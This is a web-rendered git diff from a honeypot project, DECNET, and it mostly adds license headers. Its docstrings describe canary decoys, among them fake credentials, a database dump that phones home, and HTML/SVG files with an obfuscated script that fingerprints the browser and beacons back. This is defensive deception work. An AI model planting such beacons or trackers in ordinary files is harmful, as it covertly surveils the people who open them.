# Published once per successful active probe result (JARM/HASSH/TCPfp).
|
# Published once per successful active probe result (JARM/HASSH/TCPfp/ipv6_leak).
|
||||||
# Distinct from ``observed`` which is the correlator's first-sight signal —
|
# Distinct from ``observed`` which is the correlator's first-sight signal —
|
||||||
# a fingerprint is additional evidence about an already-observed attacker.
|
# a fingerprint is additional evidence about an already-observed attacker.
|
||||||
|
# Known payload ``kind`` discriminators carried in this topic:
|
||||||
|
# "jarm" — JARM TLS server hash (prober)
|
||||||
|
# "hassh" — HASSHServer SSH key-exchange hash (prober)
|
||||||
|
# "tcpfp" — TCP/IP stack fingerprint hash (prober)
|
||||||
|
# "tls_cert" — leaf TLS certificate SHA-256 (prober)
|
||||||
|
# "ipv6_leak" — fe80:: link-local address observed via passive sniffer
|
||||||
|
# or active ICMPv6 solicitation (prober + sniffer);
|
||||||
|
# payload: {attacker_ip, addr, iid_kind, mac_oui, vector,
|
||||||
|
# on_iface, observed_at}
|
||||||
ATTACKER_FINGERPRINTED = "fingerprinted"
|
ATTACKER_FINGERPRINTED = "fingerprinted"
|
||||||
# Published when the prober observes a NEW hash for an
|
# Published when the prober observes a NEW hash for an
|
||||||
# (attacker_ip, port, probe_type) triple it has seen before — i.e. the
|
# (attacker_ip, port, probe_type) triple it has seen before — i.e. the
|
||||||
@@ -382,6 +397,12 @@ def decky_mutation(decky_id: str) -> str:
|
|||||||
return f"{DECKY}.{decky_id}.{DECKY_MUTATION}"
|
return f"{DECKY}.{decky_id}.{DECKY_MUTATION}"
|
||||||
|
|
||||||
|
|
||||||
|
def decky_lifecycle(decky_id: str) -> str:
|
||||||
|
"""Build ``decky.<id>.lifecycle``."""
|
||||||
|
_reject_tokens(decky_id)
|
||||||
|
return f"{DECKY}.{decky_id}.{DECKY_LIFECYCLE}"
|
||||||
|
|
||||||
|
|
||||||
def system(event_type: str) -> str:
|
def system(event_type: str) -> str:
|
||||||
"""Build ``system.<event_type>``.
|
"""Build ``system.<event_type>``.
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""UNIX-socket client — :class:`UnixSocketBus` implementation of :class:`BaseBus`.
|
"""UNIX-socket client — :class:`UnixSocketBus` implementation of :class:`BaseBus`.
|
||||||
|
|
||||||
Holds one open socket to the local :class:`~decnet.bus.unix_server.BusServer`.
|
Holds one open socket to the local :class:`~decnet.bus.unix_server.BusServer`.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""UNIX-socket server for the DECNET bus.
|
"""UNIX-socket server for the DECNET bus.
|
||||||
|
|
||||||
One :class:`BusServer` per host. Accepts local connections on a UNIX-domain
|
One :class:`BusServer` per host. Accepts local connections on a UNIX-domain
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""``decnet bus`` worker entrypoint.
|
"""``decnet bus`` worker entrypoint.
|
||||||
|
|
||||||
Starts a :class:`~decnet.bus.unix_server.BusServer` on the configured UNIX
|
Starts a :class:`~decnet.bus.unix_server.BusServer` on the configured UNIX
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Canary tokens — decoy artifacts planted in decky filesystems.
|
"""Canary tokens — decoy artifacts planted in decky filesystems.
|
||||||
|
|
||||||
Public surface is exported here so callers can ``from decnet.canary
|
Public surface is exported here so callers can ``from decnet.canary
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
// SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
// Node helper invoked by decnet.canary.obfuscator.
|
// Node helper invoked by decnet.canary.obfuscator.
|
||||||
// Reads {code, options} JSON from stdin, writes obfuscated JS to stdout.
|
// Reads {code, options} JSON from stdin, writes obfuscated JS to stdout.
|
||||||
// Kept dependency-light on purpose: only javascript-obfuscator.
|
// Kept dependency-light on purpose: only javascript-obfuscator.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Canary generator / instrumenter ABCs and the artifact dataclass.
|
"""Canary generator / instrumenter ABCs and the artifact dataclass.
|
||||||
|
|
||||||
Two flavors of producer share the same return shape:
|
Two flavors of producer share the same return shape:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Realism contract adapter for canary generators.
|
"""Realism contract adapter for canary generators.
|
||||||
|
|
||||||
Stage 7 of the realism migration. The orchestrator's planner picks a
|
Stage 7 of the realism migration. The orchestrator's planner picks a
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Minimal authoritative DNS server for canary tokens (stdlib only).
|
"""Minimal authoritative DNS server for canary tokens (stdlib only).
|
||||||
|
|
||||||
We don't need a full resolver — only enough to:
|
We don't need a full resolver — only enough to:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Generator and instrumenter factories.
|
"""Generator and instrumenter factories.
|
||||||
|
|
||||||
Same lazy-import pattern as :mod:`decnet.intel.factory` — concrete
|
Same lazy-import pattern as :mod:`decnet.intel.factory` — concrete
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
// SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
// Canary fingerprint payload — the JS that runs inside an opened HTML/SVG
|
// Canary fingerprint payload — the JS that runs inside an opened HTML/SVG
|
||||||
// canary, harvests browser primitives, and beacons the result back to the
|
// canary, harvests browser primitives, and beacons the result back to the
|
||||||
// canary worker. Ported from canary-self-test.html with the rendering UI
|
// canary worker. Ported from canary-self-test.html with the rendering UI
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Built-in canary generators (synthesised fake artifacts).
|
"""Built-in canary generators (synthesised fake artifacts).
|
||||||
|
|
||||||
Concrete classes live in sibling modules and are imported lazily by
|
Concrete classes live in sibling modules and are imported lazily by
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Fake ``~/.aws/credentials`` block (passive bait).
|
"""Fake ``~/.aws/credentials`` block (passive bait).
|
||||||
|
|
||||||
This is the **passive** variant — no callback wiring. An attacker
|
This is the **passive** variant — no callback wiring. An attacker
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Fake ``.env`` with embedded callback URLs.
|
"""Fake ``.env`` with embedded callback URLs.
|
||||||
|
|
||||||
Modern web stacks read environment variables for everything from
|
Modern web stacks read environment variables for everything from
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""HTML fingerprint canary — plausible-looking page with an obfuscated
|
"""HTML fingerprint canary — plausible-looking page with an obfuscated
|
||||||
browser-fingerprinting payload inlined at the bottom of ``<body>``.
|
browser-fingerprinting payload inlined at the bottom of ``<body>``.
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""SVG fingerprint canary — standalone SVG with an embedded ``<script>``
|
"""SVG fingerprint canary — standalone SVG with an embedded ``<script>``
|
||||||
that runs the obfuscated fingerprinter when the file is opened directly
|
that runs the obfuscated fingerprinter when the file is opened directly
|
||||||
in a browser.
|
in a browser.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Fake ``.git/config`` with an attacker-bait remote URL.
|
"""Fake ``.git/config`` with an attacker-bait remote URL.
|
||||||
|
|
||||||
The ``[remote "origin"]`` ``url`` field is the natural place to embed
|
The ``[remote "origin"]`` ``url`` field is the natural place to embed
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Built-in honeydoc — a minimal HTML "report" with a tracking pixel.
|
"""Built-in honeydoc — a minimal HTML "report" with a tracking pixel.
|
||||||
|
|
||||||
This is the *fallback* honeydoc used when the operator hasn't
|
This is the *fallback* honeydoc used when the operator hasn't
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Real-DOCX honeydoc generator.
|
"""Real-DOCX honeydoc generator.
|
||||||
|
|
||||||
Synthesises a minimal but structurally valid DOCX from scratch via
|
Synthesises a minimal but structurally valid DOCX from scratch via
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Real-PDF honeydoc generator (uses :mod:`pikepdf`).
|
"""Real-PDF honeydoc generator (uses :mod:`pikepdf`).
|
||||||
|
|
||||||
Builds a one-page PDF with the same Q3-review body as the HTML/DOCX
|
Builds a one-page PDF with the same Q3-review body as the HTML/DOCX
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Fake ``mysqldump`` output that phones home on import.
|
"""Fake ``mysqldump`` output that phones home on import.
|
||||||
|
|
||||||
Mirrors the Canarytokens.org MySQL-dump trick. When a victim runs
|
Mirrors the Canarytokens.org MySQL-dump trick. When a victim runs
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Fake SSH private key with the callback host in the comment.
|
"""Fake SSH private key with the callback host in the comment.
|
||||||
|
|
||||||
OpenSSH private keys carry a free-form comment field — typically
|
OpenSSH private keys carry a free-form comment field — typically
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Built-in canary instrumenters (operator-uploaded artifact mutation).
|
"""Built-in canary instrumenters (operator-uploaded artifact mutation).
|
||||||
|
|
||||||
Lazy-imported by :func:`decnet.canary.factory.get_instrumenter`.
|
Lazy-imported by :func:`decnet.canary.factory.get_instrumenter`.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""DOCX instrumenter — inject a remote image into the body.
|
"""DOCX instrumenter — inject a remote image into the body.
|
||||||
|
|
||||||
DOCX files are zip archives carrying ``word/document.xml`` (the body)
|
DOCX files are zip archives carrying ``word/document.xml`` (the body)
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""HTML instrumenter — append a 1×1 tracking pixel.
|
"""HTML instrumenter — append a 1×1 tracking pixel.
|
||||||
|
|
||||||
Stdlib-only. We don't parse the HTML; we just inject the ``<img>``
|
Stdlib-only. We don't parse the HTML; we just inject the ``<img>``
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Image instrumenter — requires :mod:`PIL` (optional dependency).
|
"""Image instrumenter — requires :mod:`PIL` (optional dependency).
|
||||||
|
|
||||||
For PNG/JPEG/GIF we append a tEXt/EXIF chunk carrying the slug so
|
For PNG/JPEG/GIF we append a tEXt/EXIF chunk carrying the slug so
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Passthrough instrumenter — bytes go to disk unchanged.
|
"""Passthrough instrumenter — bytes go to disk unchanged.
|
||||||
|
|
||||||
Used as the dispatch fallback for content types we can't safely
|
Used as the dispatch fallback for content types we can't safely
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""PDF instrumenter — requires :mod:`pikepdf` (optional dependency).
|
"""PDF instrumenter — requires :mod:`pikepdf` (optional dependency).
|
||||||
|
|
||||||
PDF embedding is non-trivial: the cleanest place to put a callback
|
PDF embedding is non-trivial: the cleanest place to put a callback
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Plain-text / config-file instrumenter.
|
"""Plain-text / config-file instrumenter.
|
||||||
|
|
||||||
Two embedding strategies, picked in order:
|
Two embedding strategies, picked in order:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""XLSX instrumenter — embed an external-image link.
|
"""XLSX instrumenter — embed an external-image link.
|
||||||
|
|
||||||
XLSX is structurally identical to DOCX (Office Open XML zip). The
|
XLSX is structurally identical to DOCX (Office Open XML zip). The
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Per-mint JS obfuscator wrapper.
|
"""Per-mint JS obfuscator wrapper.
|
||||||
|
|
||||||
Thin Python wrapper around the ``javascript-obfuscator`` Node package.
|
Thin Python wrapper around the ``javascript-obfuscator`` Node package.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Persona-aware path resolution for canary artifacts.
|
"""Persona-aware path resolution for canary artifacts.
|
||||||
|
|
||||||
Linux-persona deckies use POSIX-shaped paths under ``/home/<user>``.
|
Linux-persona deckies use POSIX-shaped paths under ``/home/<user>``.
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Plant / revoke canary artifacts inside running decky containers.
|
"""Plant / revoke canary artifacts inside running decky containers.
|
||||||
|
|
||||||
Single entry point per operation:
|
Single entry point per operation:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Filesystem store for operator-uploaded canary blobs.
|
"""Filesystem store for operator-uploaded canary blobs.
|
||||||
|
|
||||||
Blobs live under ``/var/lib/decnet/canary/blobs/<sha256>`` (override
|
Blobs live under ``/var/lib/decnet/canary/blobs/<sha256>`` (override
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""``decnet canary`` worker — HTTP + DNS callback receivers.
|
"""``decnet canary`` worker — HTTP + DNS callback receivers.
|
||||||
|
|
||||||
Two surfaces, one process:
|
Two surfaces, one process:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""
|
"""
|
||||||
DECNET CLI — entry point for all commands.
|
DECNET CLI — entry point for all commands.
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import typer
|
import typer
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""``decnet canary`` — HTTP + DNS callback receiver for canary tokens.
|
"""``decnet canary`` — HTTP + DNS callback receiver for canary tokens.
|
||||||
|
|
||||||
Two entry points share this module:
|
Two entry points share this module:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import asyncio
|
import asyncio
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Role-based CLI gating.
|
"""Role-based CLI gating.
|
||||||
|
|
||||||
MAINTAINERS: when you add a new Typer command (or add_typer group) that is
|
MAINTAINERS: when you add a new Typer command (or add_typer group) that is
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""GeoIP CLI — refresh and lookup subcommands (master-only).
|
"""GeoIP CLI — refresh and lookup subcommands (master-only).
|
||||||
|
|
||||||
Usage::
|
Usage::
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""
|
"""
|
||||||
`decnet init` — one-shot master-host bootstrap.
|
`decnet init` — one-shot master-host bootstrap.
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import typer
|
import typer
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import subprocess # nosec B404
|
import subprocess # nosec B404
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import asyncio
|
import asyncio
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import typer
|
import typer
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""``decnet realism ...`` — content-engine maintenance commands.
|
"""``decnet realism ...`` — content-engine maintenance commands.
|
||||||
|
|
||||||
After stage 5 of the realism migration, this is the only remaining
|
After stage 5 of the realism migration, this is the only remaining
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import typer
|
import typer
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import typer
|
import typer
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""`decnet swarm ...` — master-side operator commands (HTTP to local swarmctl)."""
|
"""`decnet swarm ...` — master-side operator commands (HTTP to local swarmctl)."""
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""MazeNET topology CLI: generate / deploy / teardown / list / show."""
|
"""MazeNET topology CLI: generate / deploy / teardown / list / show."""
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""``decnet ttp`` — TTP-tagging worker and admin commands.
|
"""``decnet ttp`` — TTP-tagging worker and admin commands.
|
||||||
|
|
||||||
Two flat commands share this module:
|
Two flat commands share this module:
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import pathlib as _pathlib
|
import pathlib as _pathlib
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Shared CLI helpers: console, logger, process management, swarm HTTP client.
|
"""Shared CLI helpers: console, logger, process management, swarm HTTP client.
|
||||||
|
|
||||||
Submodules reference these as ``from . import utils`` then ``utils.foo(...)``
|
Submodules reference these as ``from . import utils`` then ``utils.foo(...)``
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import typer
|
import typer
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import typer
|
import typer
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
from typing import Optional
|
from typing import Optional
|
||||||
|
|||||||
@@ -1 +1,2 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Campaign clustering — see development/CAMPAIGN_CLUSTERING.md."""
|
"""Campaign clustering — see development/CAMPAIGN_CLUSTERING.md."""
|
||||||
|
|||||||
@@ -1,3 +1,4 @@
|
|||||||
|
# SPDX-License-Identifier: AGPL-3.0-or-later
|
||||||
"""Identity-resolution clusterer protocol.
|
"""Identity-resolution clusterer protocol.
|
||||||
|
|
||||||
Each concrete clusterer (``decnet.clustering.impl.connected_components``,
|
Each concrete clusterer (``decnet.clustering.impl.connected_components``,
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user